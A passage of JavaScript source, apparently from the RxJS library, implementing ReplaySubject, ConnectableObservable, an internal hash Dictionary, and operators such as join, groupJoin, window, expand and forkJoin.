this.observers = null;
this.value = null;
this.exception = null;
}
});
return BehaviorSubject;
}(Observable));
/**
* Represents an object that is both an observable sequence as well as an observer.
* Each notification is broadcasted to all subscribed and future observers, subject to buffer trimming policies.
*/
var ReplaySubject = Rx.ReplaySubject = (function (_super) {
function RemovableDisposable (subject, observer) {
this.subject = subject;
this.observer = observer;
};
RemovableDisposable.prototype.dispose = function () {
this.observer.dispose();
if (!this.subject.isDisposed) {
var idx = this.subject.observers.indexOf(this.observer);
this.subject.observers.splice(idx, 1);
}
};
function subscribe(observer) {
var so = new ScheduledObserver(this.scheduler, observer),
subscription = new RemovableDisposable(this, so);
checkDisposed.call(this);
this._trim(this.scheduler.now());
this.observers.push(so);
var n = this.q.length;
for (var i = 0, len = this.q.length; i < len; i++) {
so.onNext(this.q[i].value);
}
if (this.hasError) {
n++;
so.onError(this.error);
} else if (this.isStopped) {
n++;
so.onCompleted();
}
so.ensureActive(n);
return subscription;
}
inherits(ReplaySubject, _super);
/**
* Initializes a new instance of the ReplaySubject class with the specified buffer size, window size and scheduler.
* @param {Number} [bufferSize] Maximum element count of the replay buffer.
* @param {Number} [windowSize] Maximum time length of the replay buffer.
* @param {Scheduler} [scheduler] Scheduler the observers are invoked on.
*/
function ReplaySubject(bufferSize, windowSize, scheduler) {
this.bufferSize = bufferSize == null ? Number.MAX_VALUE : bufferSize;
this.windowSize = windowSize == null ? Number.MAX_VALUE : windowSize;
this.scheduler = scheduler || currentThreadScheduler;
this.q = [];
this.observers = [];
this.isStopped = false;
this.isDisposed = false;
this.hasError = false;
this.error = null;
_super.call(this, subscribe);
}
addProperties(ReplaySubject.prototype, Observer, {
/**
* Indicates whether the subject has observers subscribed to it.
* @returns {Boolean} Indicates whether the subject has observers subscribed to it.
*/
hasObservers: function () {
return this.observers.length > 0;
},
/* @private */
_trim: function (now) {
while (this.q.length > this.bufferSize) {
this.q.shift();
}
while (this.q.length > 0 && (now - this.q[0].interval) > this.windowSize) {
this.q.shift();
}
},
/**
* Notifies all subscribed observers about the arrival of the specified element in the sequence.
* @param {Mixed} value The value to send to all observers.
*/
onNext: function (value) {
var observer;
checkDisposed.call(this);
if (!this.isStopped) {
var now = this.scheduler.now();
this.q.push({ interval: now, value: value });
this._trim(now);
var o = this.observers.slice(0);
for (var i = 0, len = o.length; i < len; i++) {
observer = o[i];
observer.onNext(value);
observer.ensureActive();
}
}
},
/**
* Notifies all subscribed observers about the exception.
* @param {Mixed} error The exception to send to all observers.
*/
onError: function (error) {
var observer;
checkDisposed.call(this);
if (!this.isStopped) {
this.isStopped = true;
this.error = error;
this.hasError = true;
var now = this.scheduler.now();
this._trim(now);
var o = this.observers.slice(0);
for (var i = 0, len = o.length; i < len; i++) {
observer = o[i];
observer.onError(error);
observer.ensureActive();
}
this.observers = [];
}
},
/**
* Notifies all subscribed observers about the end of the sequence.
*/
onCompleted: function () {
var observer;
checkDisposed.call(this);
if (!this.isStopped) {
this.isStopped = true;
var now = this.scheduler.now();
this._trim(now);
var o = this.observers.slice(0);
for (var i = 0, len = o.length; i < len; i++) {
observer = o[i];
observer.onCompleted();
observer.ensureActive();
}
this.observers = [];
}
},
/**
* Unsubscribe all observers and release resources.
*/
dispose: function () {
this.isDisposed = true;
this.observers = null;
}
});
return ReplaySubject;
}(Observable));
/** @private */
var ConnectableObservable = Rx.ConnectableObservable = (function (_super) {
inherits(ConnectableObservable, _super);
/**
* @constructor
* @private
*/
function ConnectableObservable(source, subject) {
var state = {
subject: subject,
source: source.asObservable(),
hasSubscription: false,
subscription: null
};
this.connect = function () {
if (!state.hasSubscription) {
state.hasSubscription = true;
state.subscription = new CompositeDisposable(state.source.subscribe(state.subject), disposableCreate(function () {
state.hasSubscription = false;
}));
}
return state.subscription;
};
function subscribe(observer) {
return state.subject.subscribe(observer);
}
_super.call(this, subscribe);
}
/**
* @private
* @memberOf ConnectableObservable
*/
ConnectableObservable.prototype.connect = function () { return this.connect(); };
/**
* @private
* @memberOf ConnectableObservable
*/
ConnectableObservable.prototype.refCount = function () {
var connectableSubscription = null, count = 0, source = this;
return new AnonymousObservable(function (observer) {
var shouldConnect, subscription;
count++;
shouldConnect = count === 1;
subscription = source.subscribe(observer);
if (shouldConnect) {
connectableSubscription = source.connect();
}
return disposableCreate(function () {
subscription.dispose();
count--;
if (count === 0) {
connectableSubscription.dispose();
}
});
});
};
return ConnectableObservable;
}(Observable));
// Real Dictionary
var primes = [1, 3, 7, 13, 31, 61, 127, 251, 509, 1021, 2039, 4093, 8191, 16381, 32749, 65521, 131071, 262139, 524287, 1048573, 2097143, 4194301, 8388593, 16777213, 33554393, 67108859, 134217689, 268435399, 536870909, 1073741789, 2147483647];
var noSuchkey = "no such key";
var duplicatekey = "duplicate key";
function isPrime(candidate) {
if (candidate & 1 === 0) {
return candidate === 2;
}
var num1 = Math.sqrt(candidate),
num2 = 3;
while (num2 <= num1) {
if (candidate % num2 === 0) {
return false;
}
num2 += 2;
}
return true;
}
function getPrime(min) {
var index, num, candidate;
for (index = 0; index < primes.length; ++index) {
num = primes[index];
if (num >= min) {
return num;
}
}
candidate = min | 1;
while (candidate < primes[primes.length - 1]) {
if (isPrime(candidate)) {
return candidate;
}
candidate += 2;
}
return min;
}
function stringHashFn(str) {
var hash = 757602046;
if (!str.length) {
return hash;
}
for (var i = 0, len = str.length; i < len; i++) {
var character = str.charCodeAt(i);
hash = ((hash<<5)-hash)+character;
hash = hash & hash;
}
return hash;
}
function numberHashFn(key) {
var c2 = 0x27d4eb2d;
key = (key ^ 61) ^ (key >>> 16);
key = key + (key << 3);
key = key ^ (key >>> 4);
key = key * c2;
key = key ^ (key >>> 15);
return key;
}
var getHashCode = (function () {
var uniqueIdCounter = 0;
return function (obj) {
if (obj == null) {
throw new Error(noSuchkey);
}
// Check for built-ins before tacking on our own for any object
if (typeof obj === 'string') {
return stringHashFn(obj);
}
if (typeof obj === 'number') {
return numberHashFn(obj);
}
if (typeof obj === 'boolean') {
return obj === true ? 1 : 0;
}
if (obj instanceof Date) {
return obj.getTime();
}
if (obj.getHashCode) {
return obj.getHashCode();
}
var id = 17 * uniqueIdCounter++;
obj.getHashCode = function () { return id; };
return id;
};
} ());
function newEntry() {
return { key: null, value: null, next: 0, hashCode: 0 };
}
// Dictionary implementation
var Dictionary = function (capacity, comparer) {
if (capacity < 0) {
throw new Error('out of range')
}
if (capacity > 0) {
this._initialize(capacity);
}
this.comparer = comparer || defaultComparer;
this.freeCount = 0;
this.size = 0;
this.freeList = -1;
};
Dictionary.prototype._initialize = function (capacity) {
var prime = getPrime(capacity), i;
this.buckets = new Array(prime);
this.entries = new Array(prime);
for (i = 0; i < prime; i++) {
this.buckets[i] = -1;
this.entries[i] = newEntry();
}
this.freeList = -1;
};
Dictionary.prototype.count = function () {
return this.size;
};
Dictionary.prototype.add = function (key, value) {
return this._insert(key, value, true);
};
Dictionary.prototype._insert = function (key, value, add) {
if (!this.buckets) {
this._initialize(0);
}
var index3;
var num = getHashCode(key) & 2147483647;
var index1 = num % this.buckets.length;
for (var index2 = this.buckets[index1]; index2 >= 0; index2 = this.entries[index2].next) {
if (this.entries[index2].hashCode === num && this.comparer(this.entries[index2].key, key)) {
if (add) {
throw new Error(duplicatekey);
}
this.entries[index2].value = value;
return;
}
}
if (this.freeCount > 0) {
index3 = this.freeList;
this.freeList = this.entries[index3].next;
--this.freeCount;
} else {
if (this.size === this.entries.length) {
this._resize();
index1 = num % this.buckets.length;
}
index3 = this.size;
++this.size;
}
this.entries[index3].hashCode = num;
this.entries[index3].next = this.buckets[index1];
this.entries[index3].key = key;
this.entries[index3].value = value;
this.buckets[index1] = index3;
};
Dictionary.prototype._resize = function () {
var prime = getPrime(this.size * 2),
numArray = new Array(prime);
for (index = 0; index < numArray.length; ++index) {
numArray[index] = -1;
}
var entryArray = new Array(prime);
for (index = 0; index < this.size; ++index) {
entryArray[index] = this.entries[index];
}
for (var index = this.size; index < prime; ++index) {
entryArray[index] = newEntry();
}
for (var index1 = 0; index1 < this.size; ++index1) {
var index2 = entryArray[index1].hashCode % prime;
entryArray[index1].next = numArray[index2];
numArray[index2] = index1;
}
this.buckets = numArray;
this.entries = entryArray;
};
Dictionary.prototype.remove = function (key) {
if (this.buckets) {
var num = getHashCode(key) & 2147483647;
var index1 = num % this.buckets.length;
var index2 = -1;
for (var index3 = this.buckets[index1]; index3 >= 0; index3 = this.entries[index3].next) {
if (this.entries[index3].hashCode === num && this.comparer(this.entries[index3].key, key)) {
if (index2 < 0) {
this.buckets[index1] = this.entries[index3].next;
} else {
this.entries[index2].next = this.entries[index3].next;
}
this.entries[index3].hashCode = -1;
this.entries[index3].next = this.freeList;
this.entries[index3].key = null;
this.entries[index3].value = null;
this.freeList = index3;
++this.freeCount;
return true;
} else {
index2 = index3;
}
}
}
return false;
};
Dictionary.prototype.clear = function () {
var index, len;
if (this.size <= 0) {
return;
}
for (index = 0, len = this.buckets.length; index < len; ++index) {
this.buckets[index] = -1;
}
for (index = 0; index < this.size; ++index) {
this.entries[index] = newEntry();
}
this.freeList = -1;
this.size = 0;
};
Dictionary.prototype._findEntry = function (key) {
if (this.buckets) {
var num = getHashCode(key) & 2147483647;
for (var index = this.buckets[num % this.buckets.length]; index >= 0; index = this.entries[index].next) {
if (this.entries[index].hashCode === num && this.comparer(this.entries[index].key, key)) {
return index;
}
}
}
return -1;
};
Dictionary.prototype.count = function () {
return this.size - this.freeCount;
};
Dictionary.prototype.tryGetValue = function (key) {
var entry = this._findEntry(key);
if (entry >= 0) {
return this.entries[entry].value;
}
return undefined;
};
Dictionary.prototype.getValues = function () {
var index = 0, results = [];
if (this.entries) {
for (var index1 = 0; index1 < this.size; index1++) {
if (this.entries[index1].hashCode >= 0) {
results[index++] = this.entries[index1].value;
}
}
}
return results;
};
Dictionary.prototype.get = function (key) {
var entry = this._findEntry(key);
if (entry >= 0) {
return this.entries[entry].value;
}
throw new Error(noSuchkey);
};
Dictionary.prototype.set = function (key, value) {
this._insert(key, value, false);
};
Dictionary.prototype.containskey = function (key) {
return this._findEntry(key) >= 0;
};
/**
* Correlates the elements of two sequences based on overlapping durations.
*
* @param {Observable} right The right observable sequence to join elements for.
* @param {Function} leftDurationSelector A function to select the duration (expressed as an observable sequence) of each element of the left observable sequence, used to determine overlap.
* @param {Function} rightDurationSelector A function to select the duration (expressed as an observable sequence) of each element of the right observable sequence, used to determine overlap.
* @param {Function} resultSelector A function invoked to compute a result element for any two overlapping elements of the left and right observable sequences. The parameters passed to the function correspond with the elements from the left and right source sequences for which overlap occurs.
* @returns {Observable} An observable sequence that contains result elements computed from source elements that have an overlapping duration.
*/
observableProto.join = function (right, leftDurationSelector, rightDurationSelector, resultSelector) {
var left = this;
return new AnonymousObservable(function (observer) {
var group = new CompositeDisposable(),
leftDone = false,
leftId = 0,
leftMap = new Dictionary(),
rightDone = false,
rightId = 0,
rightMap = new Dictionary();
group.add(left.subscribe(function (value) {
var duration,
expire,
id = leftId++,
md = new SingleAssignmentDisposable(),
result,
values;
leftMap.add(id, value);
group.add(md);
expire = function () {
if (leftMap.remove(id) && leftMap.count() === 0 && leftDone) {
observer.onCompleted();
}
return group.remove(md);
};
try {
duration = leftDurationSelector(value);
} catch (e) {
observer.onError(e);
return;
}
md.setDisposable(duration.take(1).subscribe(noop, observer.onError.bind(observer), function () { expire(); }));
values = rightMap.getValues();
for (var i = 0; i < values.length; i++) {
try {
result = resultSelector(value, values[i]);
} catch (exception) {
observer.onError(exception);
return;
}
observer.onNext(result);
}
}, observer.onError.bind(observer), function () {
leftDone = true;
if (rightDone || leftMap.count() === 0) {
observer.onCompleted();
}
}));
group.add(right.subscribe(function (value) {
var duration,
expire,
id = rightId++,
md = new SingleAssignmentDisposable(),
result,
values;
rightMap.add(id, value);
group.add(md);
expire = function () {
if (rightMap.remove(id) && rightMap.count() === 0 && rightDone) {
observer.onCompleted();
}
return group.remove(md);
};
try {
duration = rightDurationSelector(value);
} catch (exception) {
observer.onError(exception);
return;
}
md.setDisposable(duration.take(1).subscribe(noop, observer.onError.bind(observer), function () { expire(); }));
values = leftMap.getValues();
for (var i = 0; i < values.length; i++) {
try {
result = resultSelector(values[i], value);
} catch (exception) {
observer.onError(exception);
return;
}
observer.onNext(result);
}
}, observer.onError.bind(observer), function () {
rightDone = true;
if (leftDone || rightMap.count() === 0) {
observer.onCompleted();
}
}));
return group;
});
};
/**
* Correlates the elements of two sequences based on overlapping durations, and groups the results.
*
* @param {Observable} right The right observable sequence to join elements for.
* @param {Function} leftDurationSelector A function to select the duration (expressed as an observable sequence) of each element of the left observable sequence, used to determine overlap.
* @param {Function} rightDurationSelector A function to select the duration (expressed as an observable sequence) of each element of the right observable sequence, used to determine overlap.
* @param {Function} resultSelector A function invoked to compute a result element for any element of the left sequence with overlapping elements from the right observable sequence. The first parameter passed to the function is an element of the left sequence. The second parameter passed to the function is an observable sequence with elements from the right sequence that overlap with the left sequence's element.
* @returns {Observable} An observable sequence that contains result elements computed from source elements that have an overlapping duration.
*/
observableProto.groupJoin = function (right, leftDurationSelector, rightDurationSelector, resultSelector) {
var left = this;
return new AnonymousObservable(function (observer) {
var nothing = function () {};
var group = new CompositeDisposable();
var r = new RefCountDisposable(group);
var leftMap = new Dictionary();
var rightMap = new Dictionary();
var leftID = 0;
var rightID = 0;
group.add(left.subscribe(
function (value) {
var s = new Subject();
var id = leftID++;
leftMap.add(id, s);
var i, len, leftValues, rightValues;
var result;
try {
result = resultSelector(value, addRef(s, r));
} catch (e) {
leftValues = leftMap.getValues();
for (i = 0, len = leftValues.length; i < len; i++) {
leftValues[i].onError(e);
}
observer.onError(e);
return;
}
observer.onNext(result);
rightValues = rightMap.getValues();
for (i = 0, len = rightValues.length; i < len; i++) {
s.onNext(rightValues[i]);
}
var md = new SingleAssignmentDisposable();
group.add(md);
var expire = function () {
if (leftMap.remove(id)) {
s.onCompleted();
}
group.remove(md);
};
var duration;
try {
duration = leftDurationSelector(value);
} catch (e) {
leftValues = leftMap.getValues();
for (i = 0, len = leftMap.length; i < len; i++) {
leftValues[i].onError(e);
}
observer.onError(e);
return;
}
md.setDisposable(duration.take(1).subscribe(
nothing,
function (e) {
leftValues = leftMap.getValues();
for (i = 0, len = leftValues.length; i < len; i++) {
leftValues[i].onError(e);
}
observer.onError(e);
},
expire)
);
},
function (e) {
var leftValues = leftMap.getValues();
for (var i = 0, len = leftValues.length; i < len; i++) {
leftValues[i].onError(e);
}
observer.onError(e);
},
observer.onCompleted.bind(observer)));
group.add(right.subscribe(
function (value) {
var leftValues, i, len;
var id = rightID++;
rightMap.add(id, value);
var md = new SingleAssignmentDisposable();
group.add(md);
var expire = function () {
rightMap.remove(id);
group.remove(md);
};
var duration;
try {
duration = rightDurationSelector(value);
} catch (e) {
leftValues = leftMap.getValues();
for (i = 0, len = leftMap.length; i < len; i++) {
leftValues[i].onError(e);
}
observer.onError(e);
return;
}
md.setDisposable(duration.take(1).subscribe(
nothing,
function (e) {
leftValues = leftMap.getValues();
for (i = 0, len = leftMap.length; i < len; i++) {
leftValues[i].onError(e);
}
observer.onError(e);
},
expire)
);
leftValues = leftMap.getValues();
for (i = 0, len = leftValues.length; i < len; i++) {
leftValues[i].onNext(value);
}
},
function (e) {
var leftValues = leftMap.getValues();
for (var i = 0, len = leftValues.length; i < len; i++) {
leftValues[i].onError(e);
}
observer.onError(e);
}));
return r;
});
};
/**
* Projects each element of an observable sequence into zero or more buffers.
*
* @param {Mixed} bufferOpeningsOrClosingSelector Observable sequence whose elements denote the creation of new windows, or, a function invoked to define the boundaries of the produced windows (a new window is started when the previous one is closed, resulting in non-overlapping windows).
* @param {Function} [bufferClosingSelector] A function invoked to define the closing of each produced window. If a closing selector function is specified for the first parameter, this parameter is ignored.
* @returns {Observable} An observable sequence of windows.
*/
observableProto.buffer = function (bufferOpeningsOrClosingSelector, bufferClosingSelector) {
return this.window.apply(this, arguments).selectMany(function (x) { return x.toArray(); });
};
/**
* Projects each element of an observable sequence into zero or more windows.
*
* @param {Mixed} windowOpeningsOrClosingSelector Observable sequence whose elements denote the creation of new windows, or, a function invoked to define the boundaries of the produced windows (a new window is started when the previous one is closed, resulting in non-overlapping windows).
* @param {Function} [windowClosingSelector] A function invoked to define the closing of each produced window. If a closing selector function is specified for the first parameter, this parameter is ignored.
* @returns {Observable} An observable sequence of windows.
*/
observableProto.window = function (windowOpeningsOrClosingSelector, windowClosingSelector) {
if (arguments.length === 1 && typeof arguments[0] !== 'function') {
return observableWindowWithBounaries.call(this, windowOpeningsOrClosingSelector);
}
return typeof windowOpeningsOrClosingSelector === 'function' ?
observableWindowWithClosingSelector.call(this, windowOpeningsOrClosingSelector) :
observableWindowWithOpenings.call(this, windowOpeningsOrClosingSelector, windowClosingSelector);
};
function observableWindowWithOpenings(windowOpenings, windowClosingSelector) {
return windowOpenings.groupJoin(this, windowClosingSelector, function () {
return observableEmpty();
}, function (_, window) {
return window;
});
}
function observableWindowWithBounaries(windowBoundaries) {
var source = this;
return new AnonymousObservable(function (observer) {
var window = new Subject(),
d = new CompositeDisposable(),
r = new RefCountDisposable(d);
observer.onNext(addRef(window, r));
d.add(source.subscribe(function (x) {
window.onNext(x);
}, function (err) {
window.onError(err);
observer.onError(err);
}, function () {
window.onCompleted();
observer.onCompleted();
}));
d.add(windowBoundaries.subscribe(function (w) {
window.onCompleted();
window = new Subject();
observer.onNext(addRef(window, r));
}, function (err) {
window.onError(err);
observer.onError(err);
}, function () {
window.onCompleted();
observer.onCompleted();
}));
return r;
});
}
function observableWindowWithClosingSelector(windowClosingSelector) {
var source = this;
return new AnonymousObservable(function (observer) {
var createWindowClose,
m = new SerialDisposable(),
d = new CompositeDisposable(m),
r = new RefCountDisposable(d),
window = new Subject();
observer.onNext(addRef(window, r));
d.add(source.subscribe(function (x) {
window.onNext(x);
}, function (ex) {
window.onError(ex);
observer.onError(ex);
}, function () {
window.onCompleted();
observer.onCompleted();
}));
createWindowClose = function () {
var m1, windowClose;
try {
windowClose = windowClosingSelector();
} catch (exception) {
observer.onError(exception);
return;
}
m1 = new SingleAssignmentDisposable();
m.setDisposable(m1);
m1.setDisposable(windowClose.take(1).subscribe(noop, function (ex) {
window.onError(ex);
observer.onError(ex);
}, function () {
window.onCompleted();
window = new Subject();
observer.onNext(addRef(window, r));
createWindowClose();
}));
};
createWindowClose();
return r;
});
}
/**
* Returns a new observable that triggers on the second and subsequent triggerings of the input observable.
* The Nth triggering of the input observable passes the arguments from the N-1th and Nth triggering as a pair.
* The argument passed to the N-1th triggering is held in hidden internal state until the Nth triggering occurs.
* @returns {Observable} An observable that triggers on successive pairs of observations from the input observable as an array.
*/
observableProto.pairwise = function () {
var source = this;
return new AnonymousObservable(function (observer) {
var previous, hasPrevious = false;
return source.subscribe(
function (x) {
if (hasPrevious) {
observer.onNext([previous, x]);
} else {
hasPrevious = true;
}
previous = x;
},
observer.onError.bind(observer),
observer.onCompleted.bind(observer));
});
};
/**
* Returns two observables which partition the observations of the source by the given function.
* The first will trigger observations for those values for which the predicate returns true.
* The second will trigger observations for those values where the predicate returns false.
* The predicate is executed once for each subscribed observer.
* Both also propagate all error observations arising from the source and each completes
* when the source completes.
* @param {Function} predicate
* The function to determine which output Observable will trigger a particular observation.
* @returns {Array}
* An array of observables. The first triggers when the predicate returns true,
* and the second triggers when the predicate returns false.
*/
observableProto.partition = function(predicate, thisArg) {
var published = this.publish().refCount();
return [
published.filter(predicate, thisArg),
published.filter(function (x, i, o) { return !predicate.call(thisArg, x, i, o); })
];
};
function enumerableWhile(condition, source) {
return new Enumerable(function () {
return new Enumerator(function () {
return condition() ?
{ done: false, value: source } :
{ done: true, value: undefined };
});
});
}
/**
* Returns an observable sequence that is the result of invoking the selector on the source sequence, without sharing subscriptions.
* This operator allows for a fluent style of writing queries that use the same sequence multiple times.
*
* @param {Function} selector Selector function which can use the source sequence as many times as needed, without sharing subscriptions to the source sequence.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence within a selector function.
*/
observableProto.letBind = observableProto['let'] = function (func) {
return func(this);
};
/**
* Determines whether an observable collection contains values. There is an alias for this method called 'ifThen' for browsers <IE9
*
* @example
* 1 - res = Rx.Observable.if(condition, obs1);
* 2 - res = Rx.Observable.if(condition, obs1, obs2);
* 3 - res = Rx.Observable.if(condition, obs1, scheduler);
* @param {Function} condition The condition which determines if the thenSource or elseSource will be run.
* @param {Observable} thenSource The observable sequence or Promise that will be run if the condition function returns true.
* @param {Observable} [elseSource] The observable sequence or Promise that will be run if the condition function returns false. If this is not provided, it defaults to Rx.Observabe.Empty with the specified scheduler.
* @returns {Observable} An observable sequence which is either the thenSource or elseSource.
*/
Observable['if'] = Observable.ifThen = function (condition, thenSource, elseSourceOrScheduler) {
return observableDefer(function () {
elseSourceOrScheduler || (elseSourceOrScheduler = observableEmpty());
isPromise(thenSource) && (thenSource = observableFromPromise(thenSource));
isPromise(elseSourceOrScheduler) && (elseSourceOrScheduler = observableFromPromise(elseSourceOrScheduler));
// Assume a scheduler for empty only
typeof elseSourceOrScheduler.now === 'function' && (elseSourceOrScheduler = observableEmpty(elseSourceOrScheduler));
return condition() ? thenSource : elseSourceOrScheduler;
});
};
/**
* Concatenates the observable sequences obtained by running the specified result selector for each element in source.
* There is an alias for this method called 'forIn' for browsers <IE9
* @param {Array} sources An array of values to turn into an observable sequence.
* @param {Function} resultSelector A function to apply to each item in the sources array to turn it into an observable sequence.
* @returns {Observable} An observable sequence from the concatenated observable sequences.
*/
Observable['for'] = Observable.forIn = function (sources, resultSelector) {
return enumerableFor(sources, resultSelector).concat();
};
/**
* Repeats source as long as condition holds emulating a while loop.
* There is an alias for this method called 'whileDo' for browsers <IE9
*
* @param {Function} condition The condition which determines if the source will be repeated.
* @param {Observable} source The observable sequence that will be run if the condition function returns true.
* @returns {Observable} An observable sequence which is repeated as long as the condition holds.
*/
var observableWhileDo = Observable['while'] = Observable.whileDo = function (condition, source) {
isPromise(source) && (source = observableFromPromise(source));
return enumerableWhile(condition, source).concat();
};
/**
* Repeats source as long as condition holds emulating a do while loop.
*
* @param {Function} condition The condition which determines if the source will be repeated.
* @param {Observable} source The observable sequence that will be run if the condition function returns true.
* @returns {Observable} An observable sequence which is repeated as long as the condition holds.
*/
observableProto.doWhile = function (condition) {
return observableConcat([this, observableWhileDo(condition, this)]);
};
/**
* Uses selector to determine which source in sources to use.
* There is an alias 'switchCase' for browsers <IE9.
*
* @example
* 1 - res = Rx.Observable.case(selector, { '1': obs1, '2': obs2 });
* 1 - res = Rx.Observable.case(selector, { '1': obs1, '2': obs2 }, obs0);
* 1 - res = Rx.Observable.case(selector, { '1': obs1, '2': obs2 }, scheduler);
*
* @param {Function} selector The function which extracts the value for to test in a case statement.
* @param {Array} sources A object which has keys which correspond to the case statement labels.
* @param {Observable} [elseSource] The observable sequence or Promise that will be run if the sources are not matched. If this is not provided, it defaults to Rx.Observabe.empty with the specified scheduler.
*
* @returns {Observable} An observable sequence which is determined by a case statement.
*/
Observable['case'] = Observable.switchCase = function (selector, sources, defaultSourceOrScheduler) {
return observableDefer(function () {
defaultSourceOrScheduler || (defaultSourceOrScheduler = observableEmpty());
typeof defaultSourceOrScheduler.now === 'function' && (defaultSourceOrScheduler = observableEmpty(defaultSourceOrScheduler));
var result = sources[selector()];
isPromise(result) && (result = observableFromPromise(result));
return result || defaultSourceOrScheduler;
});
};
/**
* Expands an observable sequence by recursively invoking selector.
*
* @param {Function} selector Selector function to invoke for each produced element, resulting in another sequence to which the selector will be invoked recursively again.
* @param {Scheduler} [scheduler] Scheduler on which to perform the expansion. If not provided, this defaults to the current thread scheduler.
* @returns {Observable} An observable sequence containing all the elements produced by the recursive expansion.
*/
observableProto.expand = function (selector, scheduler) {
scheduler || (scheduler = immediateScheduler);
var source = this;
return new AnonymousObservable(function (observer) {
var q = [],
m = new SerialDisposable(),
d = new CompositeDisposable(m),
activeCount = 0,
isAcquired = false;
var ensureActive = function () {
var isOwner = false;
if (q.length > 0) {
isOwner = !isAcquired;
isAcquired = true;
}
if (isOwner) {
m.setDisposable(scheduler.scheduleRecursive(function (self) {
var work;
if (q.length > 0) {
work = q.shift();
} else {
isAcquired = false;
return;
}
var m1 = new SingleAssignmentDisposable();
d.add(m1);
m1.setDisposable(work.subscribe(function (x) {
observer.onNext(x);
var result = null;
try {
result = selector(x);
} catch (e) {
observer.onError(e);
}
q.push(result);
activeCount++;
ensureActive();
}, observer.onError.bind(observer), function () {
d.remove(m1);
activeCount--;
if (activeCount === 0) {
observer.onCompleted();
}
}));
self();
}));
}
};
q.push(source);
activeCount++;
ensureActive();
return d;
});
};
/**
* Runs all observable sequences in parallel and collect their last elements.
*
* @example
* 1 - res = Rx.Observable.forkJoin([obs1, obs2]);
* 1 - res = Rx.Observable.forkJoin(obs1, obs2, ...);
* @returns {Observable} An observable sequence with an array collecting the last elements of all the input sequences.
*/
Observable.forkJoin = function () {
var allSources = argsOrArray(arguments, 0);
return new AnonymousObservable(function (subscriber) {
var count = allSources.length;
if (count === 0) {
subscriber.onCompleted();
return disposableEmpty;
}
var group = new CompositeDisposable(),
finished = false,
hasResults = new Array(count),
hasCompleted = new Array(count),
results = new Array(count);
for (var idx = 0; idx < count; idx++) {
(function (i) {
var source = allSources[i];
isPromise(source) && (source = observableFromPromise(source));
group.add(
source.subscribe(
function (value) {
if (!finished) {
hasResults[i] = true;
results[i] = value;
}
},
function (e) {
finished = true;
subscriber.onError(e);
group.dispose();
},
function () {
if (!finished) {
if (!hasResults[i]) {
subscriber.onCompleted();
return;
}
hasCompleted[i] = true;
for (var ix = 0; ix < count; ix++) {
if (!hasCompleted[ix]) { return; }
}
finished = true;
subscriber.onNext(results);
subscriber.onCompleted();
}
}));
})(idx);
}
return group;
});
};
/**
* Runs two observable sequences in parallel and combines their last elemenets.
*
* @param {Observable} second Second observable sequence.
* @param {Function} resultSelector Result selector function to invoke with the last elements of both sequences.
* @returns {Observable} An observable sequence with the result of calling the selector function with the last elements of both input sequences.
*/
observableProto.forkJoin = function (second, resultSelector) {
var first = this;
return new AnonymousObservable(function (observer) {
var leftStopped = false, rightStopped = false,
hasLeft = false, hasRight = false,
lastLeft, lastRight,
leftSubscription = new SingleAssignmentDisposable(), rightSubscription = new SingleAssignmentDisposable();
isPromise(second) && (second = observableFromPromise(second));
leftSubscription.setDisposable(
first.subscribe(function (left) {
hasLeft = true;
lastLeft = left;
}, function (err) {
rightSubscription.dispose();
observer.onError(err);
}, function () {
leftStopped = true;
if (rightStopped) {
if (!hasLeft) {
observer.onCompleted();
} else if (!hasRight) {
observer.onCompleted();
} else {
var result;
try {
result = resultSelector(lastLeft, lastRight);
} catch (e) {
observer.onError(e);
return;
}
observer.onNext(result);
observer.onCompleted();
}
}
})
);
rightSubscription.setDisposable(
second.subscribe(function (right) {
hasRight = true;
lastRight = right;
}, function (err) {
leftSubscription.dispose();
observer.onError(err);
}, function () {
rightStopped = true;
if (leftStopped) {
if (!hasLeft) {
observer.onCompleted();
} else if (!hasRight) {
observer.onCompleted();
} else {
var result;
try {
result = resultSelector(lastLeft, lastRight);
} catch (e) {
observer.onError(e);
return;
}
observer.onNext(result);
observer.onCompleted();
}
}
})
);
return new CompositeDisposable(leftSubscription, rightSubscription);
});
};
/**
* Comonadic bind operator.
* @param {Function} selector A transform function to apply to each element.
* @param {Object} scheduler Scheduler used to execute the operation. If not specified, defaults to the ImmediateScheduler.
* @returns {Observable} An observable sequence which results from the comonadic bind operation.
*/
observableProto.manySelect = function (selector, scheduler) {
scheduler || (scheduler = immediateScheduler);
var source = this;
return observableDefer(function () {
var chain;
return source
.select(
function (x) {
var curr = new ChainObservable(x);
if (chain) {
chain.onNext(x);
}
chain = curr;
return curr;
})
.doAction(
noop,
function (e) {
if (chain) {
chain.onError(e);
}
},
function () {
if (chain) {
chain.onCompleted();
}
})
.observeOn(scheduler)
.select(function (x, i, o) { return selector(x, i, o); });
});
};
var ChainObservable = (function (_super) {
function subscribe (observer) {
var self = this, g = new CompositeDisposable();
g.add(currentThreadScheduler.schedule(function () {
observer.onNext(self.head);
g.add(self.tail.mergeObservable().subscribe(observer));
}));
return g;
}
inherits(ChainObservable, _super);
function ChainObservable(head) {
_super.call(this, subscribe);
this.head = head;
this.tail = new AsyncSubject();
}
addProperties(ChainObservable.prototype, Observer, {
onCompleted: function () {
this.onNext(Observable.empty());
},
onError: function (e) {
this.onNext(Observable.throwException(e));
},
onNext: function (v) {
this.tail.onNext(v);
this.tail.onCompleted();
}
});
return ChainObservable;
}(Observable));
/** @private */
var Map = (function () {
/**
* @constructor
* @private
*/
function Map() {
this.keys = [];
this.values = [];
}
/**
* @private
* @memberOf Map#
*/
Map.prototype['delete'] = function (key) {
var i = this.keys.indexOf(key);
if (i !== -1) {
this.keys.splice(i, 1);
this.values.splice(i, 1);
}
return i !== -1;
};
/**
* @private
* @memberOf Map#
*/
Map.prototype.get = function (key, fallback) {
var i = this.keys.indexOf(key);
return i !== -1 ? this.values[i] : fallback;
};
/**
* @private
* @memberOf Map#
*/
Map.prototype.set = function (key, value) {
var i = this.keys.indexOf(key);
if (i !== -1) {
this.values[i] = value;
}
this.values[this.keys.push(key) - 1] = value;
};
/**
* @private
* @memberOf Map#
*/
Map.prototype.size = function () { return this.keys.length; };
/**
* @private
* @memberOf Map#
*/
Map.prototype.has = function (key) {
return this.keys.indexOf(key) !== -1;
};
/**
* @private
* @memberOf Map#
*/
Map.prototype.getKeys = function () { return this.keys.slice(0); };
/**
* @private
* @memberOf Map#
*/
Map.prototype.getValues = function () { return this.values.slice(0); };
return Map;
}());
/**
* @constructor
* Represents a join pattern over observable sequences.
*/
function Pattern(patterns) {
